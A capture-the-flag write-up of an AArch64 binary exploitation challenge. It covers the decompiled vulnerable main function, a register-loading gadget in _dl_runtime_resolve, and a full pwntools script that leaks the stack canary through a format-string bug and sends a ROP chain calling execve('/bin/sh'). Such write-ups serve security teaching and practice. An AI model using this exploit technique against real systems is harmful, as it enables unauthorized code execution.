writeup This is my first time doing a rop in aarch64.
It was a good chance to use binary-ninja pro I bought recently. What I prefer binary-ninja is the most accessibility. Good UI, disassembler, decompiler, window splitting. The best tools for pwn/rev.
Here's a main function. Since stack-canary mitigation was existed, leaking canary is required by fsb payload.
004007b0 int64_t main()
004007e8 _IO_setvbuf(stdin, 0, 2, 0)
00400804 _IO_setvbuf(stdout, 0, 2, 0)
00400820 _IO_setvbuf(stderr, 0, 2, 0)
0040082c int128_t var_a0
0040082c __builtin_memset(dest: &var_a0, ch: 0, count: 0x90)
0040084c _IO_puts("[Commander Neil Armstrong]: The Lunar module Eagle has "
0040084c "successfully landed at the Sea of Tranquility!")
00400860 int128_t v0
00400860 int128_t v1
00400860 int128_t v2
00400860 int128_t v3
00400860 int128_t v4
00400860 int128_t v5
00400860 int128_t v6
00400860 int128_t v7
00400860 v0, v1, v2, v3, v4, v5, v6, v7 = __libc_read(0, &var_a0, 0x10)
0040086c int128_t v0_1
0040086c int128_t v1_1
0040086c int128_t v2_1
0040086c int128_t v3_1
0040086c int128_t v4_1
0040086c int128_t v5_1
0040086c int128_t v6_1
0040086c int128_t v7_1
0040086c v0_1, v1_1, v2_1, v3_1, v4_1, v5_1, v6_1, v7_1 =
0040086c _IO_printf("[Houston]: ", v0, v1, v2, v3, v4, v5, v6, v7)
00400874 _IO_printf(&var_a0, v0_1, v1_1, v2_1, v3_1, v4_1, v5_1, v6_1,
00400874 v7_1)
0040087c putchar(0xa)
00400890 __libc_read(0, &var_a0, 0x888)
0040089c _IO_puts("[Commander Neil Armstrong]: That's one small step for "
0040089c "man, one giant leap for mankind!")
004008c0 int64_t var_18
004008c0
004008c0 if (var_18 == 0)
004008d4 return 0
004008d4
004008c4 __stack_chk_fail()
004008c4 noreturn
As a tip, there's a good gadget in _dl_runtime_resolve that remind us libc_csu.
This gadget pop most of the registers from stack. Using this gadget and something allow us controlling x0 register can jump to arbitrary address with arbitrary registers.
Just in case, let me show the ABI of aarch64.
In AArch64, the syscall ABI is:
Feature
x86-64
AArch64
Syscall #
rax
x8
Arg 1
rdi
x0
Arg 2
rsi
x1
Arg 3
rdx
x2
Arg 4
r10
x3
Arg 5
r8
x4
Arg 6
r9
x5
00440194 int64_t _dl_runtime_resolve(int128_t arg1 @ v0, int128_t arg2 @ v1,
00440194 int128_t arg3 @ v2, int128_t arg4 @ v3, int128_t arg5 @ v4,
00440194 int128_t arg6 @ v5, int128_t arg7 @ v6, int128_t arg8 @ v7,
00440194 void* arg9 @ x16, int64_t arg10, int64_t arg11)
00440194 1f2003d5 nop
00440198 e827b3a9 stp x8, x9, [sp, #-0xd0]! {__saved_x8} {__saved_x9}
0044019c e61f01a9 stp x6, x7, [sp, #0x10] {__saved_x6} {__saved_x7}
004401a0 e41702a9 stp x4, x5, [sp, #0x20] {__saved_x4} {__saved_x5}
004401a4 e20f03a9 stp x2, x3, [sp, #0x30] {__saved_x2} {__saved_x3}
004401a8 e00704a9 stp x0, x1, [sp, #0x40] {__saved_x0} {__saved_x1}
004401ac e08702ad stp q0, q1, [sp, #0x50] {var_80} {var_70}
004401b0 e28f03ad stp q2, q3, [sp, #0x70] {var_60} {var_50}
004401b4 e49704ad stp q4, q5, [sp, #0x90] {var_40} {var_30}
004401b8 e69f05ad stp q6, q7, [sp, #0xb0] {var_20} {var_10}
004401bc 00825ff8 ldur x0, [x16, #-0x8]
004401c0 e16b40f9 ldr x1, [sp, #0xd0 {arg10}]
004401c4 210010cb sub x1, x1, x16
004401c8 2104018b add x1, x1, x1, lsl #0x1
004401cc 21f07dd3 lsl x1, x1, #0x3
004401d0 210003d1 sub x1, x1, #0xc0
004401d4 21fc43d3 lsr x1, x1, #0x3
004401d8 fa260094 bl _dl_fixup
004401dc f00300aa mov x16, x0
004401e0 e08742ad ldp q0, q1, [sp, #0x50] {var_80} {var_70}
004401e4 e28f43ad ldp q2, q3, [sp, #0x70] {var_60} {var_50}
004401e8 e49744ad ldp q4, q5, [sp, #0x90] {var_40} {var_30}
004401ec e69f45ad ldp q6, q7, [sp, #0xb0] {var_20} {var_10}
004401f0 e00744a9 ldp x0, x1, [sp, #0x40] {__saved_x0} {__saved_x1}
004401f4 e20f43a9 ldp x2, x3, [sp, #0x30] {__saved_x2} {__saved_x3}
004401f8 e41742a9 ldp x4, x5, [sp, #0x20] {__saved_x4} {__saved_x5}
004401fc e61f41a9 ldp x6, x7, [sp, #0x10] {__saved_x6} {__saved_x7}
00440200 e827cda8 ldp x8, x9, [sp], #0xd0 {__saved_x8} {__saved_x9}
00440204 f17bc1a8 ldp x17, lr, [sp], #0x10 {arg10} {arg11}
00440208 00021fd6 br x16
stack structure:
sp-0xa0: buf
sp-0x10: canary
sp-0x08: saved_fp
sp-0x00: saved_lr
Also, I assembled the temporary rop chain to confirm what stack structure provide us the ideal register conditions.
rst()
pay(
b"/bin/sh\x00", # sp-0xa0
b"A"*(0x88-0x8), # padding
canary,
0xdeadbeaf,
0x000000000042aac4, #ldp x27, x28, [sp, #0x50]; ldr x0, [sp, #0x60]; ldp x29, x30, [sp], #0x80; ret;
0xdeadbea0,
0x004401dc, # f00300aa mov x16, x0
0xdeadbea1,
0xdeadbea2,
0xdeadbea3,
0xdeadbea4,
0xdeadbea5,
0xdeadbea6,
0xdeadbea7,
0xdeadbea8,
0xdeadbea9,
0xdeadbeaa,
0x0000000000436588, #: svc #0; ret; # will be moved to x0
0xabad1de0,
0xabad1de1,
0xabad1de2,
0xabad1de3,
0xabad1de4,
0xabad1de5,
0xabad1de6,
0xabad1de7,
0xabad1de8,
0xabad1de9,
0xabad1dea,
0xabad1deb, #x0
0xabad1dec, #x1
0xabad1ded,
0xabad1dee,
0xabad1def,
)
final exploit
from pwn import *
from icecream import ic
import sys
import re
import inspect
e = ELF("chal",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 0
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
#io = e.process()
io = process(["qemu-aarch64","-g","1234","/home/tsuneki/dc/ctf/csaw/2025/arm/chal"])
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
def hl(v: int): print(f"{(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}")
"""
00440194 int64_t _dl_runtime_resolve(int128_t arg1 @ v0, int128_t arg2 @ v1,
............
004401dc f00300aa mov x16, x0
004401e0 e08742ad ldp q0, q1, [sp, #0x50] {var_80} {var_70}
004401e4 e28f43ad ldp q2, q3, [sp, #0x70] {var_60} {var_50}
004401e8 e49744ad ldp q4, q5, [sp, #0x90] {var_40} {var_30}
004401ec e69f45ad ldp q6, q7, [sp, #0xb0] {var_20} {var_10}
004401f0 e00744a9 ldp x0, x1, [sp, #0x40] {__saved_x0} {__saved_x1}
004401f4 e20f43a9 ldp x2, x3, [sp, #0x30] {__saved_x2} {__saved_x3}
004401f8 e41742a9 ldp x4, x5, [sp, #0x20] {__saved_x4} {__saved_x5}
004401fc e61f41a9 ldp x6, x7, [sp, #0x10] {__saved_x6} {__saved_x7}
00440200 e827cda8 ldp x8, x9, [sp], #0xd0 {__saved_x8} {__saved_x9}
00440204 f17bc1a8 ldp x17, lr, [sp], #0x10 {arg10} {arg11}
00440208 00021fd6 br x16
"""
import subprocess
subprocess.Popen(["konsole","-e","gdb-multiarch","-ex","target remote localhost:1234","-ex","b *0x04008d4"])
input("hlt")
rst()
pay(
fsp(25),
b" ",
fsp(28),
)
sl(payload)
rl()
leak = rl().strip()
ic(leak)
canary = int(leak.split(b" ")[1],16)
hl(canary)
stk = int(leak.split(b" ")[2],16)
hl(stk)
sp = stk - (0x4000007ff360 - 0x00004000007ff250)
hl(sp)
x0 = sp - 0xa0
x1 = 0
x2 = 0
x3 = 0
x4 = 0
x5 = 0
x6 = 0
x7 = 0
x8 = 221
x9 = 0
rst()
pay(
b"/bin/sh\x00", # sp-0xa0
b"A"*(0x88-0x8), # padding
canary,
0xdeadbeaf,
0x000000000042aac4, #ldp x27, x28, [sp, #0x50]; ldr x0, [sp, #0x60]; ldp x29, x30, [sp], #0x80; ret;
0xdeadbea0,
0x004401dc, # f00300aa mov x16, x0
0xdeadbea1,
0xdeadbea2,
0xdeadbea3,
0xdeadbea4,
0xdeadbea5,
0xdeadbea6,
0xdeadbea7,
0xdeadbea8,
0xdeadbea9,
0xdeadbeaa,
0x0000000000436588, #: svc #0; ret; # will be moved to x0
0xabad1de0,
0xabad1de1,
0xabad1de2,
x8, #0xabad1de3, #x8
x9, #0xabad1de4, #x9
x6, #0xabad1de5, #x6
x7, #0xabad1de6, #x7
x4, #0xabad1de7, #x4
x5, #0xabad1de8, #x5
x2, #0xabad1de9, #x2
x3, #0xabad1dea, #x3
x0, #0xabad1deb, #x0
x1, #0xabad1dec, #x1
0xabad1ded,
0xabad1dee,
0xabad1def,
)
sl(payload)
shell()